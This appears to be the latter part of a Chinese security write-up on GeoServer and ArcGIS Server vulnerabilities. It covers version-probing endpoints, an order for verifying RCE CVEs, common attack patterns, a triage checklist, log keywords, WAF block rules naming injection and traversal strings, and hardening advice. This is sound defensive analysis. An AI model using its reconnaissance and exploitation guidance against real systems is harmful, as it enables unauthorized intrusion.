版本探测 : 通过 /geoserver/web/wicket/page 或 /geoserver/rest/about/version 获取 GeoServer 版本;通过 /arcgis/rest/info 获取 ArcGIS Server 版本
漏洞验证 : 按照 CVSS 从高到低的顺序逐个验证,优先验证 RCE 类漏洞(CVE-2024-36401 > CVE-2022-24816 > CVE-2023-25157),然后验证 SSRF/XXE 类漏洞
安全执行 : 所有 PoC 验证应在不影响目标服务可用性的前提下进行,避免执行破坏性命令(如 rm -rf),RCE 验证优先使用 id、whoami、hostname 等只读命令
0x04 共性攻击模式分析 模式一:OGC 协议滥用模式 OGC 标准协议(WFS、WMS、WCS、WPS)是地理空间平台最核心的攻击面。OGC Filter Encoding 使用 XML 格式描述查询条件,其中包含属性名、比较运算符和值等用户可控字段。GeoServer 在处理这些字段时,将其传递给底层 Java 库(如 JXPath、JTS、GeoTools)进行表达式求值或 SQL 转换,但缺乏统一的安全过滤层。
代表 CVE : CVE-2024-36401(XPath 注入)、CVE-2023-25157(SQL 注入)
核心问题 : OGC 协议的 XML 结构天然支持嵌套表达式和函数调用语义,而 GeoServer 的处理逻辑将协议解析和业务逻辑混合在一起,缺乏对用户输入的语义级验证。
模式二:路径穿越→配置文件覆写模式 ArcGIS Server 和类似平台在处理文件路径时,未充分防御目录遍历攻击。攻击者通过 ../ 序列穿越目录边界,读取或覆写服务器配置文件,进而获取管理员凭据或植入恶意代码。
代表 CVE : CVE-2026-9181(ArcGIS 目录遍历)
核心问题 : REST API 的路径参数直接映射到文件系统操作,缺乏路径规范化(Canonicalization)和沙箱隔离。
模式三:未授权 API 端点暴露模式 地理空间平台通常包含管理 API、调试 API 和服务测试 API 等内部端点。这些端点在设计时可能用于开发调试或内部运维,但在生产部署时未被禁用或添加认证保护。
代表 CVE : CVE-2024-29198(TestWfsPost SSRF)、CVE-2026-13019(Portal 未授权 API)
核心问题 : 默认配置过于宽松,缺乏 API 端点的访问控制清单和自动化安全扫描。
模式四:第三方库不安全反序列化/注入模式 地理空间平台高度依赖第三方 Java 库(GeoTools、commons-jxpath、JTS、Jackson 等),这些库在设计时可能未充分考虑 Web 场景下的安全威胁。当平台将用户输入直接传递给这些库时,可能触发库内部的代码执行、表达式求值或反序列化漏洞。
代表 CVE : CVE-2024-36401(JXPath)、CVE-2022-24816(Jiffle)
核心问题 : 对第三方库的信任边界不清晰,缺乏对库调用的安全包装和输入消毒。
模式五:硬编码凭据与默认配置滥用模式 部分地理空间平台在部署时包含硬编码凭据、默认密码或未配置的认证机制。这些设计缺陷在企业环境中尤为危险,因为攻击者无需任何漏洞利用即可获取高权限访问。
代表 CVE : CVE-2025-2538(硬编码凭据)、CVE-2026-13019(未授权 API)
核心问题 : 安全开发生命周期(SDL)缺失,缺乏对凭据管理和默认配置的安全审计。
0x05 应急排查与防守建议 紧急排查清单 针对部署了 GeoServer 或 ArcGIS Server 的环境,立即执行以下排查:
检查项 操作方法 风险等级 GeoServer 版本确认 访问 /geoserver/web/wicket/page 或 /geoserver/rest/about/version 高 ArcGIS Server 版本确认 访问 /arcgis/rest/info 并检查 currentVersion 高 OGC XPath 注入检测 检查 WFS/WMS 请求日志中是否包含 exec(、Runtime 等关键词 严重 SQL 注入痕迹 检查数据库慢查询日志中是否包含 OGC Filter 相关的异常 SQL 严重 未授权文件上传 检查 ArcGIS Server 数据目录中是否存在异常文件 严重 硬编码凭据检查 审查 Portal for ArcGIS 配置文件中的服务账户凭据 严重 SSRF 日志分析 检查 GeoServer 日志中是否有到 169.254.x.x 等内部地址的请求 高 XXE 尝试检测 检查请求日志中 XML 文档是否包含 <!DOCTYPE 或 <!ENTITY 声明 高
日志关键字段表 日志源 关键字段/模式 说明 GeoServer log4j2 exec(, Runtime.getRuntimeXPath 注入尝试 GeoServer log4j2 OR 1=1, UNION SELECT, UNION ALLSQL 注入尝试 GeoServer access.log /geoserver/web/wfs/testSSRF 测试 Apache/Nginx access.log ../, %2e%2e%2f, ..\\目录遍历尝试 ArcGIS Server logs importData, addContent文件上传操作 PostgreSQL/MySQL slow.log sf:archsites, PropertyIsLikeOGC Filter 相关查询 Windows Event Log 硬编码账户名登录事件 凭据滥用
紧急缓解措施 立即执行(24 小时内) :
升级 GeoServer : 将 GeoServer 升级到最新稳定版(2.25.2+ 或 2.27.1+),这是最根本的修复措施
临时移除 JXPath 依赖 : 如果无法立即升级,可从 GeoServer 的 WEB-INF/lib/ 目录中删除 gt-complex-x.y.jar,此操作可阻断 CVE-2024-36401 的利用路径,但可能影响部分 WFS 功能
WAF 规则部署 : 在反向代理/WAF 层添加以下检测规则:
阻断包含 exec(、Runtime、getRuntime 的 OGC 请求 阻断路径参数中包含 ../、%2e%2e 的请求 阻断包含 <!DOCTYPE、<!ENTITY 的 XML 请求体 网络隔离 : 将 GeoServer 和 ArcGIS Server 部署在内网 DMZ 中,限制其对内网其他系统的访问权限
禁用不必要的测试端点 : 禁用 GeoServer 的 TestWfsPost 端点和调试 API
长期安全加固建议 最小权限部署 : GeoServer 的运行账户应使用专用的低权限服务账户,禁止使用 root 或 Administrator 运行服务
OGC 接口访问控制 : 对 WMS、WFS 等 OGC 接口实施 API Key 或 IP 白名单认证,限制公开访问
数据库账户隔离 : 为 GeoServer 的 JDBC 数据源创建专用数据库账户,仅授予必要的 SELECT/INSERT/UPDATE 权限,禁止使用 DBA 或超级用户账户
定期安全扫描 : 使用 Nuclei 对地理空间平台进行定期漏洞扫描,重点关注本专题列出的 CVE
补丁管理流程 : 建立针对地理空间平台的安全补丁管理流程,确保在厂商发布安全更新后 72 小时内完成评估和部署
日志集中监控 : 将 GeoServer 和 ArcGIS Server 的访问日志、应用日志接入 SIEM 系统,配置异常 OGC 请求的实时告警规则
安全配置基线 : 制定地理空间平台的安全配置基线,包括禁用调试端点、限制管理接口访问、强制 HTTPS、配置安全响应头等
应急响应预案 : 制定针对地理空间平台安全事件的应急响应预案,明确漏洞发现、影响评估、紧急修复和事后复盘的流程
0x06 参考资料 NVD - CVE-2024-36401 : https://nvd.nist.gov/vuln/detail/CVE-2024-36401 GeoServer Security Advisory GHSA-6jj6-gm7p-fcvv : https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv CISA KEV - GeoServer Vulnerabilities : https://www.cisa.gov/known-exploited-vulnerabilities-catalog NVD - CVE-2023-25157 : https://nvd.nist.gov/vuln/detail/CVE-2023-25157 NVD - CVE-2022-24816 : https://nvd.nist.gov/vuln/detail/CVE-2022-24816 Synacktiv - GeoServer Jiffle Analysis : https://www.synacktiv.com/en/publications ESRI Security Advisories : https://www.esri.com/about/newsroom/arcgis/security-advisories/ Nuclei Templates - GeoServer CVEs : https://github.com/projectdiscovery/nuclei-templates CVE-2023-25157 PoC - Rubikcuv5 : https://github.com/Rubikcuv5/CVE-2023-25157 CVE-2023-25157/25158 PoC - murataydemir : https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158 GeoTools Security : https://geotools.org/security.html OGC Standards Security Considerations : https://www.ogc.org/standards/security 免责声明 : 本文所有漏洞分析仅供安全研究与授权测试使用,请勿用于非法目的。未经授权对计算机系统进行渗透测试属于违法行为,本文作者不承担任何因滥用本文内容而产生的法律责任。所有 PoC 代码均已做安全处理,仅用于漏洞检测和验证目的。